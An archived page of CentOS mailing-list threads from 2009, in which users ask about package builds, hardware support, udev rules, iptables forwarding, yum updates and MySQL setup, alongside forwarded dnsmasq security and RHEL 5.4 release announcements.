- Discuss - lists.centos.org

postgresql-tcl-8.1.15-1.el4s1.1 in CentOSPlus (4) -- build error
by Robert Heller 03 Sep '09

03 Sep '09

Whoever is building this RPM needs to check his/her build logs. The pkgIndex.tcl in /usr/lib/Pgtcl is not being built properly! The pkg_mkIndex procedure does not always throw an obvious error -- sometimes it just does not create the 'package ifneeded ...' line(s), and just quietly skips a package. Something is broken in the build process. Both the version above (which I just installed) and the previous one had this problem. I manually fixed it, but it really needs to be fixed so it properly installs a working pkgIndex.tcl file (and does not break things). -- Robert Heller -- 978-544-6933 Deepwoods Software -- Download the Model Railroad System http://www.deepsoft.com/ -- Binaries for Linux and MS-Windows heller(a)deepsoft.com -- http://www.deepsoft.com/ModelRailroadSystem/

2 1

bluetooth mystery
by Roger K. Wells 03 Sep '09

03 Sep '09

After using a bluetooth mouse for a couple of weeks on: [root@rwells-cts ~]# uname -a Linux rwells-cts 2.6.18-128.7.1.el5.centos.plus #1 SMP Mon Aug 24 10:03:38 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux the machine is a Lenovo laptop, X200 today after booting (and re-booting) not even the bluetooth led lights up (it did so immediately after installing CentOS), there is no bluetooth icon on the gnome task panel hcitool finds nothing, re-installing gnome-bluetooth has no effect, etc..... Any ideas on what to do next will be appreciated. thanks, -- Roger Wells, P.E. SAIC 221 Third St Newport, RI 02840 401-847-4210 (voice) 401-849-1585 (fax) roger.k.wells(a)saic.com

2 2

Cacti Installation on CentOS 5
by Gabriel - IP Guys 03 Sep '09

03 Sep '09

Dear All, I am attempting to install cacti on CentOS 5.3 64 bit, and I checked the wiki, only to find that the instructions are a bit out of date. Have these instructions been updated somewhere, or does anyone have updated instructions, maybe with known gotchas etc? --- Kind Regards, Mr Gabriel

5 13

EXT4 status for centos 5.3
by mbneto 03 Sep '09

03 Sep '09

Hi, I was wondering what is the current status fro ext4 support in Centos. I've noticed that is marked as dev when I try to use it from the installer. Does anybody have a scary story to prevent using it?

3 2

user defined udev rules
by Alexey Skidanov 03 Sep '09

03 Sep '09

Hi, I would like to change permissions of /dev/sda* and /dev/hda* files to 0644. I added the following rules to 99-udev.rules files: KERNEL=="[hs]d*", OWNER="root" GROUP="disk", MODE="0644 After restarting udev by strat_udev, I checked that permissions were changed: [root@gini rules.d]# ll /dev/sda* brw-r--r-- 1 root disk 8, 0 Sep 2 2009 /dev/sda brw-r--r-- 1 root disk 8, 1 Sep 2 13:55 /dev/sda1 brw-r--r-- 1 root disk 8, 2 Sep 2 13:55 /dev/sda2 brw-r--r-- 1 root disk 8, 3 Sep 2 2009 /dev/sda3 brw-r--r-- 1 root disk 8, 4 Sep 2 2009 /dev/sda4 brw-r--r-- 1 root disk 8, 5 Sep 2 13:55 /dev/sda5 But permissions of /dev/hda file were not changed. Moreover, the owner of this file is changed: [root@gini rules.d]# ll /dev/hda* brw------- 1 alexey-s disk 3, 0 Sep 2 13:55 /dev/hda Looking into /var/log/messages: Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating device node '/dev/hda', major = '3', minor = '0', mode = '0644', uid = '0', gid = '6' Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating symlink '/dev/cdrom' to 'hda' Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating symlink '/dev/cdrom-hda' to 'hda' Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating symlink '/dev/dvd' to 'hda' Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating symlink '/dev/dvd-hda' to 'hda' Sep 2 16:26:53 gini udevd-event[29543]: udev_node_add: creating symlink '/dev/disk/by-path/pci-0000:02:00.0-ide-0:0' to '../../hda' The problem: it's look like the udev rules file works fine, but permissions and owner of /dev/hda file are changed. Thanks, Alexey

1 0

CentOS/RHEL 4.x vs 5.x
by Scott Ehrlich 03 Sep '09

03 Sep '09

I was just curious what the fundamental differences were between the 4.x and 5.x branches? Thanks. Scott

3 2

dnsmasq - I'm a little confused....
by MHR 02 Sep '09

02 Sep '09

I have attempted to update with yum over the last 27 hours, and all I get is this: [mhr@mhrichter ~]$ sudo yum update Password: Loaded plugins: fastestmirror, priorities Loading mirror speeds from cached hostfile * base: linux.mirrors.es.net * updates: centos.g5selfstorage.com * extras: centos.mirrors.redwire.net kbs-CentOS-Extras | 951 B 00:00 base | 1.1 kB 00:00 updates | 951 B 00:00 extras | 1.1 kB 00:00 0 packages excluded due to repository priority protections Setting up Update Process No Packages marked for Update You have new mail in /var/spool/mail/mhr [mhr@mhrichter ~]$ yg dnsmasq dnsmasq.x86_64 2.45-1.el5_2.1 installed According to the announcement (see below), the lastest version is this: 9ee6bf903671f38806a119874ec74eec dnsmasq-2.45-1.1.el5_3.x86_64.rpm What's up here? Is this really a case of incredibly slow mirrors or is there something else? mhr ---------- Forwarded message ---------- From: <centos-announce-request(a)centos.org> Date: Tue, Sep 1, 2009 at 9:00 AM Subject: [CentOS] CentOS-announce Digest, Vol 55, Issue 1 To: centos-announce(a)centos.org Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1238 Important CentOS 5 i386 dnsmasq Update (Karanbir Singh) 2. CESA-2009:1238 Important CentOS 5 x86_64 dnsmasq Update (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Tue, 1 Sep 2009 15:10:22 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1238 Important CentOS 5 i386 dnsmasq Update To: centos-announce(a)centos.org Message-ID: <20090901151022.GA10326(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1238 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1238.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) i386: 15068053a0aeea31232c06e17b88d2e7 dnsmasq-2.45-1.1.el5_3.i386.rpm Source: 88bd7bb7252fd9f2ba5fdbdb09b57d95 dnsmasq-2.45-1.1.el5_3.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ Message: 2 Date: Tue, 1 Sep 2009 15:10:23 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1238 Important CentOS 5 x86_64 dnsmasq Update To: centos-announce(a)centos.org Message-ID: <20090901151023.GA10341(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1238 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1238.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) x86_64: 9ee6bf903671f38806a119874ec74eec dnsmasq-2.45-1.1.el5_3.x86_64.rpm Source: 88bd7bb7252fd9f2ba5fdbdb09b57d95 dnsmasq-2.45-1.1.el5_3.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org http://lists.centos.org/mailman/listinfo/centos-announce End of CentOS-announce Digest, Vol 55, Issue 1 ********************************************** _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

5 14

[rhelv5-list] Red Hat Enterprise Linux 5.4 GA Announcement
by Pasi Kärkkäinen 02 Sep '09

02 Sep '09

----- Forwarded message from rhelv5-list(a)redhat.com ----- From: rhelv5-list(a)redhat.com To: rhelv5-list(a)redhat.com Date: Wed, 02 Sep 2009 10:17:35 -0500 Subject: [rhelv5-list] Red Hat Enterprise Linux 5.4 GA Announcement Red Hat is pleased to announce the availability of the latest update to Red Hat Enterprise Linux 5, release 5.4 (with kernel-2.6.18-164.el5) for a family of products including: - Red Hat Enterprise Linux 5 Advanced Platform for x86, AMD64/Intel(r) 64, Itanium Processor Family, Power Systems and System z - Red Hat Enterprise Linux 5 Server for x86, AMD64/Intel(r) 64, Itanium Processor Family, Power Systems and System z - Red Hat Enterprise Linux 5 Desktop for x86 and AMD64/Intel(r) 64 Enhancements ------------ New in Red Hat Enterprise Linux 5.4 is a reorganization of the release note material. Now the Release Notes are a condensed set of major release highlights. The Technical Notes contain the majority of the information regarding new feature descriptions and bug change notices. Due to the existence of the Release Notes highlights information, it is no longer necessary to duplicate that information in this release announcement. The Release Notes are available on the media as well as online as part of the general documentation. The online version of the Release Notes will contain the latest data. The Technical Notes are only available online. Please see the Documentation section in this announcement for locating the online Release Notes and Technical Notes. A technical white paper that describes the major enhancements can be found at: http://www.redhat.com/rhel/server/resource_center/ The following list summarizes improvements to this release: * Hardware - 10 GigE drivers with GRO support - FCoE support on standard NICs - SR I/OV support * System - Kernel tracepoints for systemtap use - Per process I/O accounting - FIEMAP support * Virtualization - Hypervisor scalability to 192 cpus - Additional hypervisor - Kernel Based Virtual Machine (KVM) Additional Information ---------------------- Additional information is provided below on Accessing the Software, Documentation, Support, and Mailing Lists. Enjoy the latest update to Red Hat Enterprise Linux 5. The Red Hat Enterprise Linux Team ---------------------------------------------------------------------- Accessing the Software ---------------------- Red Hat Enterprise Linux 5.4 is available to existing Red Hat Enterprise Linux subscribers via RHN. The update will be in the appropriate channels in your account. Installable binary and source ISO images are available via Red Hat Network at: https://rhn.redhat.com/network/software/download_isos_full.pxt You will be required to log in using a valid RHN account with active entitlements. Red Hat Enterprise Linux 5 errata are available at: https://rhn.redhat.com/ Documentation ------------- Release Notes and Technical Notes for this update are available on the Red Hat Enterprise Linux 5 site at: http://www.redhat.com/docs/manuals/enterprise/ The Release Notes are also on your Red Hat Enterprise Linux 5 installed system in the redhat-release-notes package. Support ------- Red Hat Enterprise Linux customers using the Technical Account Manager (TAM) Service should raise all issues and questions with this release using your current Issue Tracker account. If you're interested in the Technical Account Manager Service, visit: https://www.redhat.com/support/offerings/technical.html All other customers can raise questions and issues through the normal Red Hat support channels. Details can be found at: https://www.redhat.com/support/process/ Mailing Lists ------------- Red Hat has a public mailing list for communication during this and all future Red Hat Enterprise Linux 5 programs. * rhelv5-announce redhat com A low-volume, moderated, announcement-only mailing list. Red Hat will use this list to communicate one-way information about Red Hat Enterprise Linux 5 programs, such as notifications when releases are available or solicitations for feedback. Subscribe at: https://www.redhat.com/mailman/listinfo/rhelv5-announce * rhelv5-list redhat com A public general discussion mailing list for users of Red Hat Enterprise Linux 5 releases. Subscribe at: https://www.redhat.com/mailman/listinfo/rhelv5-list _______________________________________________ rhelv5-list mailing list rhelv5-list(a)redhat.com https://www.redhat.com/mailman/listinfo/rhelv5-list ----- End forwarded message -----

1 0

Centos 5.3 install on gigabyte GA-MA790FX-UD5P motherboard
by Nathan Norton 02 Sep '09

02 Sep '09

Hi, I am having some difficulties installing centos 5.3 on the gigabyte GA-MA790FX-UD5P motherboard. Has anyone got centos booting on this motherboard? so far I have tried the following. + disabled the jmicron controller as this caused errors on booting JMB363 bad irq(0): will probe later error (this error caused the installation to stop at this point) + tested all components in another computer, they all work. + remove all unnecessary components from the pci bus. + power supply is not an issue since I have used a 850W PSU Basically what I am seeing is once the installation process starts and asks do i have another sata disk, and I select no the screen freezes at this point *every* single time, the screen is always blue with a couple of greek looking characters on the screen. No logs are left at this point in the installation, so it is making it difficult to diagnose. Today I installed the grml distribution and it worked with no issues, it uses a base kernel of 2.6.28. so there is nothing wrong with the hardware but centos still does not want to install on this motherboard. Anyone have any ideas? Nathan

4 3

RHEL 5.4 released / CentOS 5.4 schedule
by Pasi Kärkkäinen 02 Sep '09

02 Sep '09

Hello, It looks like RHEL 5.4 has been released: http://rhn.redhat.com/errata/RHSA-2009-1243.html https://rhn.redhat.com/errata/rhel-server-errata.html And before you ask: CentOS 5.4 will be released in 2-4 weeks or so, when it's ready :) -- Pasi

1 1

remote desktop configuration
by Frank Cox 02 Sep '09

02 Sep '09

I manage some remote multi-user computers where it would be very handy to be able to "edit" the users' panel bars remotely, adding, removing and arranging applications and icons as needed. It's easy to put an icon on a user's desktop -- just write a .desktop file and put it into the user's Desktop directory. Can I do the same thing with the users' panel bars somehow? -- MELVILLE THEATRE ~ Melville Sask ~ http://www.melvilletheatre.com

2 1

O.T. list for rpm makers?
by Dave 02 Sep '09

02 Sep '09

Hi, Is there a list for rpm makers from beginner to intermediate level? Private responses please. Thanks. Dave.

1 0

looking for RAID 1+0 setup instructions?
by Rudi Ahlers 02 Sep '09

02 Sep '09

Hi, Can someone please assist met with some software RAID 1+0 setup instructions? I have searched the web, but couldn't find any. I found a lot of RAID 10 setup instructions, but it doesn't help me. -- Kind Regards Rudi Ahlers CEO, SoftDux Hosting Web: http://www.SoftDux.com Office: 087 805 9573 Cell: 082 554 7532

12 47

A couple questions about Wine
by Ron Blizzard 01 Sep '09

01 Sep '09

VirtualBox works great but, since I only really use one Windows program (an older, specialized word processor called Movie Magic Screenwriter), I'm thinking of using Wine to run it in CentOS and getting rid of the Windows virtual machine. But a couple questions: 1) If I run Wine, do I introduce security or performance issues? 2) Is there any difference between Michael Harris' Wine repository and the ones available through... wherever yum is picking it up? (Actually it looks like it has two or three versions listed.) Thanks for any recommendations. I like VirtualBox, but it seems like overkill. -- RonB -- Using CentOS 5.3

4 5

For you old-timers, an RS232 question about data rate confirmation.
by Barry L. Kline 01 Sep '09

01 Sep '09

Hello all. This is a question that I should be able to answer, but the old grey cells aren't working. My Google-Fu must not be up to snuff, either. I have a MOXA IP-RS232 converter that I'm going to be using over an RF WAN and I need to confirm the actual data rate that I'll be able to achieve. I have the drivers loaded (/dev/ttyr00) and a loopback plug on the end of the device. I am able to confirm that it works fine with minicom, but I'd like to be able to have a program read/write the device with a largish file and give me a throughput rating. Short of writing my own program, can anyone point me to a good tool for that purpose. yum search RS232 and yum search serial haven't provided what I'm looking for and I can't imagine that this isn't already done. Thanks! Barry

5 10

Re: [CentOS] CentOS Digest, Vol 56, Issue 1
by Giuseppe By Computer srl 01 Sep '09

01 Sep '09

Spett.le Cliente, dal 7 Settembre 2009 al 25 Settembre 2009 non sarò in grado di leggere le email inviate a questo indirizzo. Per urgenze compilare il form sul nuovo sito della Computer srl http://www.computersrl.com/home/index.php?option=com_jforms&view=form&id=3&… o chiamare il numero 0438.450500 Grazie Giuseppe Corazzin COMPUTER srl Via Conegliano 94/b - 31058 SUSEGANA (TV) Web: www.computersrl.com

1 0

CentOS-announce Digest, Vol 55, Issue 1
by centos-announce-request＠centos.org 01 Sep '09

01 Sep '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1238 Important CentOS 5 i386 dnsmasq Update (Karanbir Singh) 2. CESA-2009:1238 Important CentOS 5 x86_64 dnsmasq Update (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Tue, 1 Sep 2009 15:10:22 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1238 Important CentOS 5 i386 dnsmasq Update To: centos-announce(a)centos.org Message-ID: <20090901151022.GA10326(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1238 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1238.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) i386: 15068053a0aeea31232c06e17b88d2e7 dnsmasq-2.45-1.1.el5_3.i386.rpm Source: 88bd7bb7252fd9f2ba5fdbdb09b57d95 dnsmasq-2.45-1.1.el5_3.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ Message: 2 Date: Tue, 1 Sep 2009 15:10:23 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1238 Important CentOS 5 x86_64 dnsmasq Update To: centos-announce(a)centos.org Message-ID: <20090901151023.GA10341(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1238 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1238.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) x86_64: 9ee6bf903671f38806a119874ec74eec dnsmasq-2.45-1.1.el5_3.x86_64.rpm Source: 88bd7bb7252fd9f2ba5fdbdb09b57d95 dnsmasq-2.45-1.1.el5_3.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org http://lists.centos.org/mailman/listinfo/centos-announce End of CentOS-announce Digest, Vol 55, Issue 1 **********************************************

1 0

setup iptables to allow forwarding through eth1
by Peter Peltonen 01 Sep '09

01 Sep '09

I have a fresh installed CentOS 5.3 server which should route traffic between two networks like this: network A (Internet) -- eth0 (default gw) : server : eth1 -- network B (LAN) I have set in sysctl.conf net.ipv4.ip_forward = 1 and routing works fine like this. But when I switch on the iptables service (with default setup, configured when installing the server), routing stops working (or at least I cannot ping a server in network A from network B). I guess the firewall is stopping it, so I read http://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-firewall-ipt-fwd.… and issued the commands # iptables -A FORWARD -i eth1 -j ACCEPT # iptables -A FORWARD -o eth1 -j ACCEPT but that did not help. So I am asking: what is the correct iptables command to make forwarding work? Regards, Peter

3 3

yum priorities and rpmforge...
by John Doe 01 Sep '09

01 Sep '09

Hi, I am using the yum priorities plugin and, for some reason, it is blocking all rpmforge updates, even for already installed rpmforge packages... I have priority=1 for CentOS repos. Is it the 'normal' behavior or is something wrong in my conf? Thx, JD

4 4

quota command broken
by lhecking＠users.sourceforge.net 01 Sep '09

01 Sep '09

We noticed a big change in the workings of the quota command when moving from RHEL3 to CentOS5. Under RHEL3 (quota-3.10-7), quota -v essentially lists the fs quotas for all users logged into the local machine. Under CentOS5 (quota-3.13-1.2.5.el5), only one user quota is displayed, and while the actual data seems to be correct, the attribution is usually wrong. E.g. $ whoami user1 $ quota -v Disk quotas for user user1 (uid 12345): Filesystem blocks quota limit grace files quota limit grace nfs:/vol/vol2/user2 2596260 4194304 4194304 406132 614400 614400 $ This is for NFS quotas. We don't use local Linux quotas, and I haven't tested them. I don't know how this stuff works under the hood; is it possible that underlying kernel structures have changed, or some kernel config was dropped? I compiled the latest quota tools on both RHEL3 and CentOS5 and found the same behaviour, so the quota tools themselves are most likely not at fault. --------------------------------------------------------------- This message and any attachments may contain Cypress (or its subsidiaries) confidential information. If it has been received in error, please advise the sender and immediately delete this message. ---------------------------------------------------------------

1 0

Configuring the firewall on CentOS
by Timothy Murphy 01 Sep '09

01 Sep '09

Is there a CentOS equivalent to config-system-firewall in Fedora, allowing specified services to pass through? -- Timothy Murphy e-mail: gayleard /at/ eircom.net tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland

3 3

what is the best way to delete so many queue files?
by MontyRee 01 Sep '09

01 Sep '09

Hello, all. I found that so many unnessary queue files are saved at /var/spool/clientmqueue/ directory. I tested two way to delete these files. 1. # rm -rf /var/spool/clientmqueue/* 2. # cd /var/spool/clientmqueue/ ; find . | xargs rm -fv But this makes a few load of the system and took too much time to delete. What is the best way to delete fast without too much load? Thanks in advance. _________________________________________________________________ 암호를 잃어버렸을 때를 대비하여 미리 암호 확인용 메일 설정하세요! http://im.msn.co.kr/im/main/mainCoverDetail.asp?seq=2251&page=1&BbsCode=bbs…

7 6

Conntrack-tools for CentOS 4.8
by Matt Shields 01 Sep '09

01 Sep '09

Does anyone know where I can get an RPM of Conntrack-tools, libnetfilter_conntrack and libnfnetlink that work with CentOS 4.8? -matt http://www.sysadminvalley.com http://www.beantownhost.com http://www.linkedin.com/in/mattboston Stephen Leacock<http://www.brainyquote.com/quotes/authors/s/stephen_leacock.html> - "I detest life-insurance agents: they always argue that I shall some day die, which is not so."

2 1

IMAP servers and Sent/Junk folders
by Eugene Vilensky 01 Sep '09

01 Sep '09

Hi, my users were recently moved from a uw-imap on HPUX to dovecot on EL5. Their sent items and folders went from a ~/Sent mbox file (when using SquirrelMail and Apple Mail both) to ~/mail/Sent for SquirrelMail and ~/mail/Sent Messages for other imap clients. I notice I can cat the files together and the only artifact is I end up with multiple "This message is part of the system do not delete" visible to the user's mail client. Is there any advice anyone can give me regarding this or other solution? Thank you! -Eugene Regards, Eugene Vilensky evilensky(a)gmail.com

5 5

Re: [CentOS] CentOS Mirrors and Adjacent country groups
by J.Witvliet＠MINDEF.NL 31 Aug '09

31 Aug '09

Hi -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Lanny Marcus Sent: Wednesday, August 26, 2009 9:41 PM To: CentOS mailing list Subject: Re: [CentOS] CentOS Mirrors and Adjacent country groups On 8/25/09, Rainer Duffner <rainer(a)ultra-secure.de> wrote: > Am 26.08.2009 um 00:13 schrieb Lanny Marcus: <snip> >>> Don't you have peering-points somewhere? >>> Sorry for hijacking this thread... >> Rainer: I don't think your reply is OT or hijacking. Good point. I >> suspect that in the EU, there is a lot of peering between countries, >> but here in SA, I don't think so. > > I suspected that. > To illustrate, this: > http://www.caida.org/research/topology/as_core_network/pics/ascore-ipv > 4-ipv6.200903_poster.pdf > is the map I was looking for. Cool. I downloaded that 4.3 MB file. I suspect we could peer with Panama. I believe like Colombia, they are also quite advanced with regard to telecommunications, and it's close. The city I live in (Cali) is actually much closer to Miami, Florida than Los Angeles, California is. And maybe we could peer with Peru, but that's a long way to our South. ---- Afaik it is impossible to deduce from the URL if one node is located nearby or far away. Eventhough as i live in europe, i can register and use a japanese URL. Secondly, i fond out that ISP do funny tricks with routing: My connection to my next-door-neighbour goes via a transcient node in New-York (high latency). Only traceroute can give you a clue if a node is local or not. And even then there is a question of available bandwith.... Hans ______________________________________________________________________ Dit bericht kan informatie bevatten die niet voor u is bestemd. Indien u niet de geadresseerde bent of dit bericht abusievelijk aan u is toegezonden, wordt u verzocht dat aan de afzender te melden en het bericht te verwijderen. De Staat aanvaardt geen aansprakelijkheid voor schade, van welke aard ook, die verband houdt met risico's verbonden aan het elektronisch verzenden van berichten. This message may contain information that is not intended for you. If you are not the addressee or if this message was sent to you by mistake, you are requested to inform the sender and delete the message. The State accepts no liability for damage of any kind resulting from the risks inherent in the electronic transmission of messages.

3 2

OT: .doc,.xls,.pdf,.ppt (etc.) string parser/indexers
by Les Mikesell 31 Aug '09

31 Aug '09

Does anyone have experience with linux tools to parse the text from common non-text file formats for searching? I'm trying to use the kinosearch add-on for twiki which is fine as far as the search goes, but it takes forever to generate the index. It uses xpdf to extract strings from pdf's, antiword for .doc, and since it is perl, the Spreadsheet::ParseExcel module for .xls. Some documents parse/index quickly, some extremely slowly, and in the .xls case some seem to hang forever. I think the real issue is when the parsers (correctly or incorrectly) detect a wide character set and the indexer is confused when trying to re-encode it. What is the best approach to debug something that might be in the perl character set handlers? -- Les Mikesell lesmikesell(a)gmail.com

3 4

Ifolder server on rel5?
by Dave 31 Aug '09

31 Aug '09

Hello, I've been asked to look in to deploying an ifolder server on Centos 5.x. The individual would like a clean system, so that means rpms using or making. I am concerned about this the latst time i tried it i was unable to get it working and the docs and site links were extremely unreliable. The guy wants central file storage, web interface for management, and synchronization on upload plus encryption. I note that ifolder 3.7.2 does encryption, but i'd like feedback if anyone is using this or alternatives before i say one way or the other. Thanks. Dave.

1 0

gtk+-2.x?
by Dave 31 Aug '09

31 Aug '09

Hello, I'm trying to install a package that requires the gtk+-2.1.x package. I've installed the following groups in preparation, development tools, gnome-desktop, and am not seeing the rpm, i thought it was contained within another. Does anyone know where i can obtain this rpm? Thanks. Dave.

4 5

Microsoft Mouse 5000 - Bluetooth
by Roger K. Wells 31 Aug '09

31 Aug '09

Has anyone been able to get the scroll wheel to work? Most of the other functions are fine, however "xev" does not show any events when the scroll wheel or the fourth button is pushed. Other than that it is a nice mouse but I would like the scroll wheel to work. My system: [roger@rwells-cts tmp]$ uname -a Linux rwells-cts 2.6.18-128.7.1.el5.centos.plus #1 SMP Mon Aug 24 10:03:38 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux -- Roger Wells, P.E. SAIC 221 Third St Newport, RI 02840 401-847-4210 (voice) 401-849-1585 (fax) roger.k.wells(a)saic.com

1 0

Yum update from repo server
by Morrien, Rob 31 Aug '09

31 Aug '09

Hello. I build a local centos repo server, I am able to deploy systems from this centos repo server and I have also updated the etc/yum.repos.d directory The base and update files are changed to the new repo server ip adress. I am able to do yum clean all and yum update to my new installed client deployed servers from my new local repo server My local deployed servers build from this local reposerver are updated correctly. If I have a pc running with centos which I updated from centos 5.2 to 5.3 with yum update some weeks ago, and I use the same repo config files from the local deployed repo server . But I get now evrytime an url error. And the error is telling me that the url can't be found. If I copy the url' into a' browser I get the correct file. It looks like to me' that all centos machines which are upgrade from 5.2' to 5.3 have the same problem. Initial build machines with 5.3 don't have this problem. Who can help me Met vriendelijke groet/With kind regards, Rob Morrien EDS, an HP company ABN AMRO account IE NL Gondel 1 1186 MJ Amstelveen The Netherlands Tel: +31 887 503052 Mobile: +31 6 51300616 E-mail: rob.morrien(a)eds.com -->>> ( On Friday i am not in the office ) <<< ----- We deliver on our commitments so you can deliver on yours

5 7

mysql error
by Michael Wright 31 Aug '09

31 Aug '09

Hi List i'm trying to setup my sever but in my terimal all i seam get is this message but cant go on . could someone help us out many thx's Mike yum install mysql mysql-server Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: mirror.optus.net * updates: mirror.optus.net * addons: mirror.optus.net * extras: mirror.optus.net Setting up Install Process Parsing package install arguments Package mysql-5.0.45-7.el5.i386 already installed and latest version Package mysql-server-5.0.45-7.el5.i386 already installed and latest version Nothing to do [root@localhost bcm]# chkconfig --levels 235 mysqld on bash: chkconfig: command not found [root@localhost bcm]# /etc/init.d/mysqld start Starting MySQL: [ OK ] [root@localhost bcm]# mysqladmin -ucountry mysqladmin Ver 8.41 Distrib 5.0.45, for redhat-linux-gnu on i686 Copyright (C) 2000-2006 MySQL AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Administration program for the mysqld daemon. Usage: mysqladmin [OPTIONS] command command.... -c, --count=# Number of iterations to make. This works with -i (--sleep) only. -#, --debug[=name] Output debug log. Often this is 'd:t:o,filename'. -f, --force Don't ask for confirmation on drop database; with multiple commands, continue even if an error occurs. -C, --compress Use compression in server/client protocol. --character-sets-dir=name Directory where character sets are. --default-character-set=name Set the default character set. -?, --help Display this help and exit. -h, --host=name Connect to host. -p, --password[=name] Password to use when connecting to server. If password is not given it's asked from the tty. -P, --port=# Port number to use for connection. --protocol=name The protocol of connection (tcp,socket,pipe,memory). -r, --relative Show difference between current and previous values when used with -i. Currently works only with extended-status. -O, --set-variable=name Change the value of a variable. Please note that this option is deprecated; you can set variables directly with --variable-name=value. -s, --silent Silently exit if one can't connect to server. -S, --socket=name Socket file to use for connection. -i, --sleep=# Execute commands again and again with a sleep between. --ssl Enable SSL for connection (automatically enabled with other flags). Disable with --skip-ssl. --ssl-ca=name CA file in PEM format (check OpenSSL docs, implies --ssl). --ssl-capath=name CA directory (check OpenSSL docs, implies --ssl). --ssl-cert=name X509 cert in PEM format (implies --ssl). --ssl-cipher=name SSL cipher to use (implies --ssl). --ssl-key=name X509 key in PEM format (implies --ssl). --ssl-verify-server-cert Verify server's "Common Name" in its cert against hostname used when connecting. This option is disabled by default. -u, --user=name User for login if not current user. -v, --verbose Write more information. -V, --version Output version information and exit. -E, --vertical Print output vertically. Is similar to --relative, but prints output vertically. -w, --wait[=#] Wait and retry if connection is down. --connect_timeout=# --shutdown_timeout=# Variables (--variable-name=value) and boolean options {FALSE|TRUE} Value (after reading options) --------------------------------- ----------------------------- count 0 force FALSE compress FALSE character-sets-dir (No default value) default-character-set (No default value) host (No default value) port 0 relative FALSE socket (No default value) sleep 0 ssl FALSE ssl-ca (No default value) ssl-capath (No default value) ssl-cert (No default value) ssl-cipher (No default value) ssl-key (No default value) ssl-verify-server-cert FALSE user country verbose FALSE vertical FALSE connect_timeout 43200 shutdown_timeout 3600 Default options are read from the following files in the given order: /etc/my.cnf ~/.my.cnf /etc/my.cnf The following groups are read: mysqladmin client The following options may be given as the first argument: --print-defaults Print the program argument list and exit --no-defaults Don't read default options from any options file --defaults-file=# Only read default options from the given file # --defaults-extra-file=# Read this file after the global files are read Where command is a one or more of: (Commands may be shortened) create databasename Create a new database debug Instruct server to write debug information to log drop databasename Delete a database and all its tables extended-status Gives an extended status message from the server flush-hosts Flush all cached hosts flush-logs Flush all logs flush-status Clear status variables flush-tables Flush all tables flush-threads Flush the thread cache flush-privileges Reload grant tables (same as reload) kill id,id,... Kill mysql threads password new-password Change old password to new-password, MySQL 4.1 hashing. old-password new-password Change old password to new-password in old format. ping Check if mysqld is alive processlist Show list of active threads in server reload Reload grant tables refresh Flush all tables and close and open logfiles shutdown Take server down status Gives a short status message from the server start-slave Start slave stop-slave Stop slave variables Prints variables available version Get version info from server

3 3

How to clone CentOS server ?
by przemolicc＠poczta.fm 31 Aug '09

31 Aug '09

